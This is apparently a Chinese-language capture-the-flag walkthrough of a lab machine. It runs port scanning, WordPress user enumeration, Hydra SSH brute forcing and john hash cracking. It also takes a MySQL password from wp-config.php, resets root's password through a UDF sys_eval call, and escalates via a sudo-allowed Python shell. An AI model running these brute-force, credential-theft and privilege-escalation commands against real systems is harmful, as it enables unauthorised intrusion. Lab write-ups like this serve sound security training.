思路
- 拿到靶机,端口扫描
- 80端口,查找WEB漏洞
- wordpress框架,枚举、爆破、搜cve
- 22端口,ssh爆破
- mysql服务,爆破、拖库、UDF提权
- 拿到hash,john爆破
- sudo -l,root执行后逃逸提权
端口扫描
1 | $ nmap -sS -A -p- 10.129.10.32 |
发现22、80、111三个端口,111端口中的rpcbind和status服务都不可利用,直接放弃; 22端口无直接漏洞,待定; 矛头指向80端口.
80端口
使用浏览器访问80端口, 发现wordpress目录和flag1; 用dirb
扫目录,发现/wordpress/wp-content
、wordpress/wp-admin
、wordpress/include
目录;
开启wpscan
枚举用户1
$ wpscan --url http://10.129.10.32/wordpress --wp-content-dir wp-content --enumerate u
枚举之后发现两个用户:michael、steven. 查找wordpress登陆接口无果,决定用两个账号爆破ssh.
ssh爆破
1 | $ hydra -l michael -P /usr/share/wordlists/rockyou.txt -e nsr ssh://10.129.10.32 |
发现密码:michael, steven账户爆破30分钟未果, 于是放弃.
进shell, 搜信息
进入shell后, 直接上传linux枚举脚本:LinEnum.sh 查看是否有可利用的地方1
2$ chmod +x LinEnum.sh
$ ./LinEnum.sh
内核3.16.0, 无提权漏洞; 操作系统debian 8, 无提权漏洞; michael无可用sudo执行的命令; crontab无用户自定义文件; 发现mysql服务且以root权限启动, 列入首要考虑范围; 其他文件、服务均无明显问题, 遂尝试mysql; 由于存在WEB站点, 因此到站点目录下搜索配置文件, 发现wp-config.php文件, 内容如下:
发现mysql数据库密码: R@v3nSecurity
mysql服务, 读库, udf提权
读库, 破解hash
1 | mysql> show databases; |
1 | mysql> show tables; |
1 | mysql> select * from wp_users; |
发现michael、steven用户的密码哈希值, 用john爆破1
2$ vim hash.txt #复制steven的密码哈希到文件中
$ john hash.txt
udf提权
1 | # 查看mysql插件地址 |
修改root密码,拿权限1
mysql> select sys_eval('(echo "xxxxxxxx";sleep 1;echo "xxxxxxxx")|passwd > /dev/null');
sudoers文件配置有误导致提权
shell下登陆steven账户, 运行LinEnum.sh后发现可用sudo执行python命令1
2
3
4
5
6
7$ sudo /bin/usr/python
# 直接修改root密码
>>> import os
>>> os.system('(echo "xxxxxxxx";sleep 1;echo "xxxxxxxx")|passwd > /dev/null')
# 通过pty运行子程序bash
>>> import pty
>>> pty.spawn("bash")
拿到3个flag
靶机说明中表示有4个flag, 但是查看root目录中.bash_history后发现某人执行了命令mv flag3.txt flag4.txt
, 因此未发现flag3